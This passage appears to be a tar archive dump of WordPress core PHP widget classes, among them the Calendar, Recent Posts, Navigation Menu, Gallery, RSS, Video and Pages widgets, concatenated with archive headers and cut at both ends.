wp_underscore_audio_template(); ?> <# } #> </script> <?php } } class-wp-widget-calendar.php 0000644 00000005541 15151224131 0012036 0 ustar 00 <?php /** * Widget API: WP_Widget_Calendar class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core class used to implement the Calendar widget. * * @since 2.8.0 * * @see WP_Widget */ class WP_Widget_Calendar extends WP_Widget { /** * Ensure that the ID attribute only appears in the markup once * * @since 4.4.0 * @var int */ private static $instance = 0; /** * Sets up a new Calendar widget instance. * * @since 2.8.0 */ public function __construct() { $widget_ops = array( 'classname' => 'widget_calendar', 'description' => __( 'A calendar of your site’s posts.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); parent::__construct( 'calendar', __( 'Calendar' ), $widget_ops ); } /** * Outputs the content for the current Calendar widget instance. * * @since 2.8.0 * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance The settings for the particular instance of the widget. */ public function widget( $args, $instance ) { $title = ! empty( $instance['title'] ) ? $instance['title'] : ''; /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $title, $instance, $this->id_base ); echo $args['before_widget']; if ( $title ) { echo $args['before_title'] . $title . $args['after_title']; } if ( 0 === self::$instance ) { echo '<div id="calendar_wrap" class="calendar_wrap">'; } else { echo '<div class="calendar_wrap">'; } get_calendar(); echo '</div>'; echo $args['after_widget']; ++self::$instance; } /** * Handles updating settings for the current Calendar widget instance. * * @since 2.8.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Updated settings to save. */ public function update( $new_instance, $old_instance ) { $instance = $old_instance; $instance['title'] = sanitize_text_field( $new_instance['title'] ); return $instance; } /** * Outputs the settings form for the Calendar widget. * * @since 2.8.0 * * @param array $instance Current settings. */ public function form( $instance ) { $instance = wp_parse_args( (array) $instance, array( 'title' => '' ) ); ?> <p> <label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label> <input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" /> </p> <?php } } class-wp-widget-recent-posts.php 0000644 00000013462 15151224136 0012721 0 ustar 00 <?php /** * Widget API: WP_Widget_Recent_Posts class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core class used to implement a Recent Posts widget. * * @since 2.8.0 * * @see WP_Widget */ class WP_Widget_Recent_Posts extends WP_Widget { /** * Sets up a new Recent Posts widget instance. * * @since 2.8.0 */ public function __construct() { $widget_ops = array( 'classname' => 'widget_recent_entries', 'description' => __( 'Your site’s most recent Posts.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); parent::__construct( 'recent-posts', __( 'Recent Posts' ), $widget_ops ); $this->alt_option_name = 'widget_recent_entries'; } /** * Outputs the content for the current Recent Posts widget instance. * * @since 2.8.0 * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Recent Posts widget instance. */ public function widget( $args, $instance ) { if ( ! isset( $args['widget_id'] ) ) { $args['widget_id'] = $this->id; } $default_title = __( 'Recent Posts' ); $title = ( ! empty( $instance['title'] ) ) ? $instance['title'] : $default_title; /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $title, $instance, $this->id_base ); $number = ( ! empty( $instance['number'] ) ) ? absint( $instance['number'] ) : 5; if ( ! $number ) { $number = 5; } $show_date = isset( $instance['show_date'] ) ? $instance['show_date'] : false; $r = new WP_Query( /** * Filters the arguments for the Recent Posts widget. * * @since 3.4.0 * @since 4.9.0 Added the `$instance` parameter. * * @see WP_Query::get_posts() * * @param array $args An array of arguments used to retrieve the recent posts. * @param array $instance Array of settings for the current widget. */ apply_filters( 'widget_posts_args', array( 'posts_per_page' => $number, 'no_found_rows' => true, 'post_status' => 'publish', 'ignore_sticky_posts' => true, ), $instance ) ); if ( ! $r->have_posts() ) { return; } ?> <?php echo $args['before_widget']; ?> <?php if ( $title ) { echo $args['before_title'] . $title . $args['after_title']; } $format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml'; /** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */ $format = apply_filters( 'navigation_widgets_format', $format ); if ( 'html5' === $format ) { // The title may be filtered: Strip out HTML and make sure the aria-label is never empty. $title = trim( strip_tags( $title ) ); $aria_label = $title ? $title : $default_title; echo '<nav aria-label="' . esc_attr( $aria_label ) . '">'; } ?> <ul> <?php foreach ( $r->posts as $recent_post ) : ?> <?php $post_title = get_the_title( $recent_post->ID ); $title = ( ! empty( $post_title ) ) ? $post_title : __( '(no title)' ); $aria_current = ''; if ( get_queried_object_id() === $recent_post->ID ) { $aria_current = ' aria-current="page"'; } ?> <li> <a href="<?php the_permalink( $recent_post->ID ); ?>"<?php echo $aria_current; ?>><?php echo $title; ?></a> <?php if ( $show_date ) : ?> <span class="post-date"><?php echo get_the_date( '', $recent_post->ID ); ?></span> <?php endif; ?> </li> <?php endforeach; ?> </ul> <?php if ( 'html5' === $format ) { echo '</nav>'; } echo $args['after_widget']; } /** * Handles updating the settings for the current Recent Posts widget instance. * * @since 2.8.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Updated settings to save. */ public function update( $new_instance, $old_instance ) { $instance = $old_instance; $instance['title'] = sanitize_text_field( $new_instance['title'] ); $instance['number'] = (int) $new_instance['number']; $instance['show_date'] = isset( $new_instance['show_date'] ) ? (bool) $new_instance['show_date'] : false; return $instance; } /** * Outputs the settings form for the Recent Posts widget. * * @since 2.8.0 * * @param array $instance Current settings. */ public function form( $instance ) { $title = isset( $instance['title'] ) ? esc_attr( $instance['title'] ) : ''; $number = isset( $instance['number'] ) ? absint( $instance['number'] ) : 5; $show_date = isset( $instance['show_date'] ) ? (bool) $instance['show_date'] : false; ?> <p> <label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label> <input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo $title; ?>" /> </p> <p> <label for="<?php echo $this->get_field_id( 'number' ); ?>"><?php _e( 'Number of posts to show:' ); ?></label> <input class="tiny-text" id="<?php echo $this->get_field_id( 'number' ); ?>" name="<?php echo $this->get_field_name( 'number' ); ?>" type="number" step="1" min="1" value="<?php echo $number; ?>" size="3" /> </p> <p> <input class="checkbox" type="checkbox"<?php checked( $show_date ); ?> id="<?php echo $this->get_field_id( 'show_date' ); ?>" name="<?php echo $this->get_field_name( 'show_date' ); ?>" /> <label for="<?php echo $this->get_field_id( 'show_date' ); ?>"><?php _e( 'Display post date?' ); ?></label> </p> <?php } } class-wp-nav-menu-widget.php 0000644 00000015061 15151224144 0012015 0 ustar 00 <?php /** * Widget API: WP_Nav_Menu_Widget class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core class used to implement the Navigation Menu widget. * * @since 3.0.0 * * @see WP_Widget */ class WP_Nav_Menu_Widget extends WP_Widget { /** * Sets up a new Navigation Menu widget instance. * * @since 3.0.0 */ public function __construct() { $widget_ops = array( 'description' => __( 'Add a navigation menu to your sidebar.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); parent::__construct( 'nav_menu', __( 'Navigation Menu' ), $widget_ops ); } /** * Outputs the content for the current Navigation Menu widget instance. * * @since 3.0.0 * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Navigation Menu widget instance. */ public function widget( $args, $instance ) { // Get menu. $nav_menu = ! empty( $instance['nav_menu'] ) ? wp_get_nav_menu_object( $instance['nav_menu'] ) : false; if ( ! $nav_menu ) { return; } $default_title = __( 'Menu' ); $title = ! empty( $instance['title'] ) ? $instance['title'] : ''; /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $title, $instance, $this->id_base ); echo $args['before_widget']; if ( $title ) { echo $args['before_title'] . $title . $args['after_title']; } $format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml'; /** * Filters the HTML format of widgets with navigation links. * * @since 5.5.0 * * @param string $format The type of markup to use in widgets with navigation links. * Accepts 'html5', 'xhtml'. */ $format = apply_filters( 'navigation_widgets_format', $format ); if ( 'html5' === $format ) { // The title may be filtered: Strip out HTML and make sure the aria-label is never empty. $title = trim( strip_tags( $title ) ); $aria_label = $title ? $title : $default_title; $nav_menu_args = array( 'fallback_cb' => '', 'menu' => $nav_menu, 'container' => 'nav', 'container_aria_label' => $aria_label, 'items_wrap' => '<ul id="%1$s" class="%2$s">%3$s</ul>', ); } else { $nav_menu_args = array( 'fallback_cb' => '', 'menu' => $nav_menu, ); } /** * Filters the arguments for the Navigation Menu widget. * * @since 4.2.0 * @since 4.4.0 Added the `$instance` parameter. * * @param array $nav_menu_args { * An array of arguments passed to wp_nav_menu() to retrieve a navigation menu. * * @type callable|bool $fallback_cb Callback to fire if the menu doesn't exist. Default empty. * @type mixed $menu Menu ID, slug, or name. * } * @param WP_Term $nav_menu Nav menu object for the current menu. * @param array $args Display arguments for the current widget. * @param array $instance Array of settings for the current widget. */ wp_nav_menu( apply_filters( 'widget_nav_menu_args', $nav_menu_args, $nav_menu, $args, $instance ) ); echo $args['after_widget']; } /** * Handles updating settings for the current Navigation Menu widget instance. * * @since 3.0.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Updated settings to save. */ public function update( $new_instance, $old_instance ) { $instance = array(); if ( ! empty( $new_instance['title'] ) ) { $instance['title'] = sanitize_text_field( $new_instance['title'] ); } if ( ! empty( $new_instance['nav_menu'] ) ) { $instance['nav_menu'] = (int) $new_instance['nav_menu']; } return $instance; } /** * Outputs the settings form for the Navigation Menu widget. * * @since 3.0.0 * * @global WP_Customize_Manager $wp_customize * * @param array $instance Current settings. */ public function form( $instance ) { global $wp_customize; $title = isset( $instance['title'] ) ? $instance['title'] : ''; $nav_menu = isset( $instance['nav_menu'] ) ? $instance['nav_menu'] : ''; // Get menus. $menus = wp_get_nav_menus(); $empty_menus_style = ''; $not_empty_menus_style = ''; if ( empty( $menus ) ) { $empty_menus_style = ' style="display:none" '; } else { $not_empty_menus_style = ' style="display:none" '; } $nav_menu_style = ''; if ( ! $nav_menu ) { $nav_menu_style = 'display: none;'; } // If no menus exists, direct the user to go and create some. ?> <p class="nav-menu-widget-no-menus-message" <?php echo $not_empty_menus_style; ?>> <?php if ( $wp_customize instanceof WP_Customize_Manager ) { $url = 'javascript: wp.customize.panel( "nav_menus" ).focus();'; } else { $url = admin_url( 'nav-menus.php' ); } printf( /* translators: %s: URL to create a new menu. */ __( 'No menus have been created yet. <a href="%s">Create some</a>.' ), // The URL can be a `javascript:` link, so esc_attr() is used here instead of esc_url(). esc_attr( $url ) ); ?> </p> <div class="nav-menu-widget-form-controls" <?php echo $empty_menus_style; ?>> <p> <label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label> <input type="text" class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" value="<?php echo esc_attr( $title ); ?>" /> </p> <p> <label for="<?php echo $this->get_field_id( 'nav_menu' ); ?>"><?php _e( 'Select Menu:' ); ?></label> <select id="<?php echo $this->get_field_id( 'nav_menu' ); ?>" name="<?php echo $this->get_field_name( 'nav_menu' ); ?>"> <option value="0"><?php _e( '— Select —' ); ?></option> <?php foreach ( $menus as $menu ) : ?> <option value="<?php echo esc_attr( $menu->term_id ); ?>" <?php selected( $nav_menu, $menu->term_id ); ?>> <?php echo esc_html( $menu->name ); ?> </option> <?php endforeach; ?> </select> </p> <?php if ( $wp_customize instanceof WP_Customize_Manager ) : ?> <p class="edit-selected-nav-menu" style="<?php echo $nav_menu_style; ?>"> <button type="button" class="button"><?php _e( 'Edit Menu' ); ?></button> </p> <?php endif; ?> </div> <?php } } class-wp-widget-media-gallery.php 0000644 00000016574 15151224151 0013013 0 ustar 00 <?php /** * Widget API: WP_Widget_Media_Gallery class * * @package WordPress * @subpackage Widgets * @since 4.9.0 */ /** * Core class that implements a gallery widget. * * @since 4.9.0 * * @see WP_Widget_Media * @see WP_Widget */ class WP_Widget_Media_Gallery extends WP_Widget_Media { /** * Constructor. * * @since 4.9.0 */ public function __construct() { parent::__construct( 'media_gallery', __( 'Gallery' ), array( 'description' => __( 'Displays an image gallery.' ), 'mime_type' => 'image', ) ); $this->l10n = array_merge( $this->l10n, array( 'no_media_selected' => __( 'No images selected' ), 'add_media' => _x( 'Add Images', 'label for button in the gallery widget; should not be longer than ~13 characters long' ), 'replace_media' => '', 'edit_media' => _x( 'Edit Gallery', 'label for button in the gallery widget; should not be longer than ~13 characters long' ), ) ); } /** * Get schema for properties of a widget instance (item). * * @since 4.9.0 * * @see WP_REST_Controller::get_item_schema() * @see WP_REST_Controller::get_additional_fields() * @link https://core.trac.wordpress.org/ticket/35574 * * @return array Schema for properties. */ public function get_instance_schema() { $schema = array( 'title' => array( 'type' => 'string', 'default' => '', 'sanitize_callback' => 'sanitize_text_field', 'description' => __( 'Title for the widget' ), 'should_preview_update' => false, ), 'ids' => array( 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), 'sanitize_callback' => 'wp_parse_id_list', ), 'columns' => array( 'type' => 'integer', 'default' => 3, 'minimum' => 1, 'maximum' => 9, ), 'size' => array( 'type' => 'string', 'enum' => array_merge( get_intermediate_image_sizes(), array( 'full', 'custom' ) ), 'default' => 'thumbnail', ), 'link_type' => array( 'type' => 'string', 'enum' => array( 'post', 'file', 'none' ), 'default' => 'post', 'media_prop' => 'link', 'should_preview_update' => false, ), 'orderby_random' => array( 'type' => 'boolean', 'default' => false, 'media_prop' => '_orderbyRandom', 'should_preview_update' => false, ), ); /** This filter is documented in wp-includes/widgets/class-wp-widget-media.php */ $schema = apply_filters( "widget_{$this->id_base}_instance_schema", $schema, $this ); return $schema; } /** * Render the media on the frontend. * * @since 4.9.0 * * @param array $instance Widget instance props. */ public function render_media( $instance ) { $instance = array_merge( wp_list_pluck( $this->get_instance_schema(), 'default' ), $instance ); $shortcode_atts = array_merge( $instance, array( 'link' => $instance['link_type'], ) ); // @codeCoverageIgnoreStart if ( $instance['orderby_random'] ) { $shortcode_atts['orderby'] = 'rand'; } // @codeCoverageIgnoreEnd echo gallery_shortcode( $shortcode_atts ); } /** * Loads the required media files for the media manager and scripts for media widgets. * * @since 4.9.0 */ public function enqueue_admin_scripts() { parent::enqueue_admin_scripts(); $handle = 'media-gallery-widget'; wp_enqueue_script( $handle ); $exported_schema = array(); foreach ( $this->get_instance_schema() as $field => $field_schema ) { $exported_schema[ $field ] = wp_array_slice_assoc( $field_schema, array( 'type', 'default', 'enum', 'minimum', 'format', 'media_prop', 'should_preview_update', 'items' ) ); } wp_add_inline_script( $handle, sprintf( 'wp.mediaWidgets.modelConstructors[ %s ].prototype.schema = %s;', wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ), wp_json_encode( $exported_schema, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) ); wp_add_inline_script( $handle, sprintf( ' wp.mediaWidgets.controlConstructors[ %1$s ].prototype.mime_type = %2$s; _.extend( wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n, %3$s ); ', wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ), wp_json_encode( $this->widget_options['mime_type'], JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ), wp_json_encode( $this->l10n, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) ); } /** * Render form template scripts. * * @since 4.9.0 */ public function render_control_template_scripts() { parent::render_control_template_scripts(); ?> <script type="text/html" id="tmpl-wp-media-widget-gallery-preview"> <# var ids = _.filter( data.ids, function( id ) { return ( id in data.attachments ); } ); #> <# if ( ids.length ) { #> <ul class="gallery media-widget-gallery-preview" role="list"> <# _.each( ids, function( id, index ) { #> <# var attachment = data.attachments[ id ]; #> <# if ( index < 6 ) { #> <li class="gallery-item"> <div class="gallery-icon"> <img alt="{{ attachment.alt }}" <# if ( index === 5 && data.ids.length > 6 ) { #> aria-hidden="true" <# } #> <# if ( attachment.sizes.thumbnail ) { #> src="{{ attachment.sizes.thumbnail.url }}" width="{{ attachment.sizes.thumbnail.width }}" height="{{ attachment.sizes.thumbnail.height }}" <# } else { #> src="{{ attachment.url }}" <# } #> <# if ( ! attachment.alt && attachment.filename ) { #> aria-label=" <?php echo esc_attr( sprintf( /* translators: %s: The image file name. */ __( 'The current image has no alternative text. The file name is: %s' ), '{{ attachment.filename }}' ) ); ?> " <# } #> /> <# if ( index === 5 && data.ids.length > 6 ) { #> <div class="gallery-icon-placeholder"> <p class="gallery-icon-placeholder-text" aria-label=" <?php printf( /* translators: %s: The amount of additional, not visible images in the gallery widget preview. */ __( 'Additional images added to this gallery: %s' ), '{{ data.ids.length - 5 }}' ); ?> ">+{{ data.ids.length - 5 }}</p> </div> <# } #> </div> </li> <# } #> <# } ); #> </ul> <# } else { #> <div class="attachment-media-view"> <button type="button" class="placeholder button-add-media"><?php echo esc_html( $this->l10n['add_media'] ); ?></button> </div> <# } #> </script> <?php } /** * Whether the widget has content to show. * * @since 4.9.0 * * @param array $instance Widget instance props. * @return bool Whether widget has content. */ protected function has_content( $instance ) { if ( ! empty( $instance['ids'] ) ) { $attachments = wp_parse_id_list( $instance['ids'] ); // Prime attachment post caches. _prime_post_caches( $attachments, false, false ); foreach ( $attachments as $attachment ) { if ( 'attachment' !== get_post_type( $attachment ) ) { return false; } } return true; } return false; } } class-wp-widget-rss.php 0000644 00000012174 15151224156 0011103 0 ustar 00 <?php /** * Widget API: WP_Widget_RSS class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core class used to implement a RSS widget. * * @since 2.8.0 * * @see WP_Widget */ class WP_Widget_RSS extends WP_Widget { /** * Sets up a new RSS widget instance. * * @since 2.8.0 */ public function __construct() { $widget_ops = array( 'description' => __( 'Entries from any RSS or Atom feed.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); $control_ops = array( 'width' => 400, 'height' => 200, ); parent::__construct( 'rss', __( 'RSS' ), $widget_ops, $control_ops ); } /** * Outputs the content for the current RSS widget instance. * * @since 2.8.0 * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current RSS widget instance. */ public function widget( $args, $instance ) { if ( isset( $instance['error'] ) && $instance['error'] ) { return; } $url = ! empty( $instance['url'] ) ? $instance['url'] : ''; while ( ! empty( $url ) && stristr( $url, 'http' ) !== $url ) { $url = substr( $url, 1 ); } if ( empty( $url ) ) { return; } // Self-URL destruction sequence. if ( in_array( untrailingslashit( $url ), array( site_url(), home_url() ), true ) ) { return; } $rss = fetch_feed( $url ); $title = $instance['title']; $desc = ''; $link = ''; if ( ! is_wp_error( $rss ) ) { $desc = esc_attr( strip_tags( html_entity_decode( $rss->get_description(), ENT_QUOTES, get_option( 'blog_charset' ) ) ) ); if ( empty( $title ) ) { $title = strip_tags( $rss->get_title() ); } $link = strip_tags( $rss->get_permalink() ); while ( ! empty( $link ) && stristr( $link, 'http' ) !== $link ) { $link = substr( $link, 1 ); } } if ( empty( $title ) ) { $title = ! empty( $desc ) ? $desc : __( 'Unknown Feed' ); } /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $title, $instance, $this->id_base ); if ( $title ) { $feed_link = ''; $feed_url = strip_tags( $url ); $feed_icon = includes_url( 'images/rss.png' ); $feed_link = sprintf( '<a class="rsswidget rss-widget-feed" href="%1$s"><img class="rss-widget-icon" style="border:0" width="14" height="14" src="%2$s" alt="%3$s"%4$s /></a> ', esc_url( $feed_url ), esc_url( $feed_icon ), esc_attr__( 'RSS' ), ( wp_lazy_loading_enabled( 'img', 'rss_widget_feed_icon' ) ? ' loading="lazy"' : '' ) ); /** * Filters the classic RSS widget's feed icon link. * * Themes can remove the icon link by using `add_filter( 'rss_widget_feed_link', '__return_empty_string' );`. * * @since 5.9.0 * * @param string|false $feed_link HTML for link to RSS feed. * @param array $instance Array of settings for the current widget. */ $feed_link = apply_filters( 'rss_widget_feed_link', $feed_link, $instance ); $title = $feed_link . '<a class="rsswidget rss-widget-title" href="' . esc_url( $link ) . '">' . esc_html( $title ) . '</a>'; } echo $args['before_widget']; if ( $title ) { echo $args['before_title'] . $title . $args['after_title']; } $format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml'; /** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */ $format = apply_filters( 'navigation_widgets_format', $format ); if ( 'html5' === $format ) { // The title may be filtered: Strip out HTML and make sure the aria-label is never empty. $title = trim( strip_tags( $title ) ); $aria_label = $title ? $title : __( 'RSS Feed' ); echo '<nav aria-label="' . esc_attr( $aria_label ) . '">'; } wp_widget_rss_output( $rss, $instance ); if ( 'html5' === $format ) { echo '</nav>'; } echo $args['after_widget']; if ( ! is_wp_error( $rss ) ) { $rss->__destruct(); } unset( $rss ); } /** * Handles updating settings for the current RSS widget instance. * * @since 2.8.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Updated settings to save. */ public function update( $new_instance, $old_instance ) { $testurl = ( isset( $new_instance['url'] ) && ( ! isset( $old_instance['url'] ) || ( $new_instance['url'] !== $old_instance['url'] ) ) ); return wp_widget_rss_process( $new_instance, $testurl ); } /** * Outputs the settings form for the RSS widget. * * @since 2.8.0 * * @param array $instance Current settings. */ public function form( $instance ) { if ( empty( $instance ) ) { $instance = array( 'title' => '', 'url' => '', 'items' => 10, 'error' => false, 'show_summary' => 0, 'show_author' => 0, 'show_date' => 0, ); } $instance['number'] = $this->number; wp_widget_rss_form( $instance ); } } class-wp-widget-media-video.php 0000644 00000021172 15151224163 0012453 0 ustar 00 <?php /** * Widget API: WP_Widget_Media_Video class * * @package WordPress * @subpackage Widgets * @since 4.8.0 */ /** * Core class that implements a video widget. * * @since 4.8.0 * * @see WP_Widget_Media * @see WP_Widget */ class WP_Widget_Media_Video extends WP_Widget_Media { /** * Constructor. * * @since 4.8.0 */ public function __construct() { parent::__construct( 'media_video', __( 'Video' ), array( 'description' => __( 'Displays a video from the media library or from YouTube, Vimeo, or another provider.' ), 'mime_type' => 'video', ) ); $this->l10n = array_merge( $this->l10n, array( 'no_media_selected' => __( 'No video selected' ), 'add_media' => _x( 'Add Video', 'label for button in the video widget' ), 'replace_media' => _x( 'Replace Video', 'label for button in the video widget; should preferably not be longer than ~13 characters long' ), 'edit_media' => _x( 'Edit Video', 'label for button in the video widget; should preferably not be longer than ~13 characters long' ), 'missing_attachment' => sprintf( /* translators: %s: URL to media library. */ __( 'That video cannot be found. Check your <a href="%s">media library</a> and make sure it was not deleted.' ), esc_url( admin_url( 'upload.php' ) ) ), /* translators: %d: Widget count. */ 'media_library_state_multi' => _n_noop( 'Video Widget (%d)', 'Video Widget (%d)' ), 'media_library_state_single' => __( 'Video Widget' ), /* translators: %s: A list of valid video file extensions. */ 'unsupported_file_type' => sprintf( __( 'Sorry, the video at the supplied URL cannot be loaded. Please check that the URL is for a supported video file (%s) or stream (e.g. YouTube and Vimeo).' ), '<code>.' . implode( '</code>, <code>.', wp_get_video_extensions() ) . '</code>' ), ) ); } /** * Get schema for properties of a widget instance (item). * * @since 4.8.0 * * @see WP_REST_Controller::get_item_schema() * @see WP_REST_Controller::get_additional_fields() * @link https://core.trac.wordpress.org/ticket/35574 * * @return array Schema for properties. */ public function get_instance_schema() { $schema = array( 'preload' => array( 'type' => 'string', 'enum' => array( 'none', 'auto', 'metadata' ), 'default' => 'metadata', 'description' => __( 'Preload' ), 'should_preview_update' => false, ), 'loop' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Loop' ), 'should_preview_update' => false, ), 'content' => array( 'type' => 'string', 'default' => '', 'sanitize_callback' => 'wp_kses_post', 'description' => __( 'Tracks (subtitles, captions, descriptions, chapters, or metadata)' ), 'should_preview_update' => false, ), ); foreach ( wp_get_video_extensions() as $video_extension ) { $schema[ $video_extension ] = array( 'type' => 'string', 'default' => '', 'format' => 'uri', /* translators: %s: Video extension. */ 'description' => sprintf( __( 'URL to the %s video source file' ), $video_extension ), ); } return array_merge( $schema, parent::get_instance_schema() ); } /** * Render the media on the frontend. * * @since 4.8.0 * * @param array $instance Widget instance props. */ public function render_media( $instance ) { $instance = array_merge( wp_list_pluck( $this->get_instance_schema(), 'default' ), $instance ); $attachment = null; if ( $this->is_attachment_with_mime_type( $instance['attachment_id'], $this->widget_options['mime_type'] ) ) { $attachment = get_post( $instance['attachment_id'] ); } $src = $instance['url']; if ( $attachment ) { $src = wp_get_attachment_url( $attachment->ID ); } if ( empty( $src ) ) { return; } $youtube_pattern = '#^https?://(?:www\.)?(?:youtube\.com/watch|youtu\.be/)#'; $vimeo_pattern = '#^https?://(.+\.)?vimeo\.com/.*#'; if ( $attachment || preg_match( $youtube_pattern, $src ) || preg_match( $vimeo_pattern, $src ) ) { add_filter( 'wp_video_shortcode', array( $this, 'inject_video_max_width_style' ) ); echo wp_video_shortcode( array_merge( $instance, compact( 'src' ) ), $instance['content'] ); remove_filter( 'wp_video_shortcode', array( $this, 'inject_video_max_width_style' ) ); } else { echo $this->inject_video_max_width_style( wp_oembed_get( $src ) ); } } /** * Inject max-width and remove height for videos too constrained to fit inside sidebars on frontend. * * @since 4.8.0 * * @param string $html Video shortcode HTML output. * @return string HTML Output. */ public function inject_video_max_width_style( $html ) { $html = preg_replace( '/\sheight="\d+"/', '', $html ); $html = preg_replace( '/\swidth="\d+"/', '', $html ); $html = preg_replace( '/(?<=width:)\s*\d+px(?=;?)/', '100%', $html ); return $html; } /** * Enqueue preview scripts. * * These scripts normally are enqueued just-in-time when a video shortcode is used. * In the customizer, however, widgets can be dynamically added and rendered via * selective refresh, and so it is important to unconditionally enqueue them in * case a widget does get added. * * @since 4.8.0 */ public function enqueue_preview_scripts() { /** This filter is documented in wp-includes/media.php */ if ( 'mediaelement' === apply_filters( 'wp_video_shortcode_library', 'mediaelement' ) ) { wp_enqueue_style( 'wp-mediaelement' ); wp_enqueue_script( 'mediaelement-vimeo' ); wp_enqueue_script( 'wp-mediaelement' ); } } /** * Loads the required scripts and styles for the widget control. * * @since 4.8.0 */ public function enqueue_admin_scripts() { parent::enqueue_admin_scripts(); $handle = 'media-video-widget'; wp_enqueue_script( $handle ); $exported_schema = array(); foreach ( $this->get_instance_schema() as $field => $field_schema ) { $exported_schema[ $field ] = wp_array_slice_assoc( $field_schema, array( 'type', 'default', 'enum', 'minimum', 'format', 'media_prop', 'should_preview_update' ) ); } wp_add_inline_script( $handle, sprintf( 'wp.mediaWidgets.modelConstructors[ %s ].prototype.schema = %s;', wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ), wp_json_encode( $exported_schema, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) ); wp_add_inline_script( $handle, sprintf( ' wp.mediaWidgets.controlConstructors[ %1$s ].prototype.mime_type = %2$s; wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n = _.extend( {}, wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n, %3$s ); ', wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ), wp_json_encode( $this->widget_options['mime_type'], JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ), wp_json_encode( $this->l10n, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) ); } /** * Render form template scripts. * * @since 4.8.0 */ public function render_control_template_scripts() { parent::render_control_template_scripts() ?> <script type="text/html" id="tmpl-wp-media-widget-video-preview"> <# if ( data.error && 'missing_attachment' === data.error ) { #> <?php wp_admin_notice( $this->l10n['missing_attachment'], array( 'type' => 'error', 'additional_classes' => array( 'notice-alt', 'notice-missing-attachment' ), ) ); ?> <# } else if ( data.error && 'unsupported_file_type' === data.error ) { #> <?php wp_admin_notice( $this->l10n['unsupported_file_type'], array( 'type' => 'error', 'additional_classes' => array( 'notice-alt', 'notice-missing-attachment' ), ) ); ?> <# } else if ( data.error ) { #> <?php wp_admin_notice( __( 'Unable to preview media due to an unknown error.' ), array( 'type' => 'error', 'additional_classes' => array( 'notice-alt' ), ) ); ?> <# } else if ( data.is_oembed && data.model.poster ) { #> <a href="{{ data.model.src }}" target="_blank" class="media-widget-video-link"> <img src="{{ data.model.poster }}" /> </a> <# } else if ( data.is_oembed ) { #> <a href="{{ data.model.src }}" target="_blank" class="media-widget-video-link no-poster"> <span class="dashicons dashicons-format-video"></span> </a> <# } else if ( data.model.src ) { #> <?php wp_underscore_video_template(); ?> <# } #> </script> <?php } } class-wp-widget-pages.php 0000644 00000013130 15151224170 0011360 0 ustar 00 <?php /** * Widget API: WP_Widget_Pages class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core class used to implement a Pages widget. * * @since 2.8.0 * * @see WP_Widget */ class WP_Widget_Pages extends WP_Widget { /** * Sets up a new Pages widget instance. * * @since 2.8.0 */ public function __construct() { $widget_ops = array( 'classname' => 'widget_pages', 'description' => __( 'A list of your site’s Pages.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); parent::__construct( 'pages', __( 'Pages' ), $widget_ops ); } /** * Outputs the content for the current Pages widget instance. * * 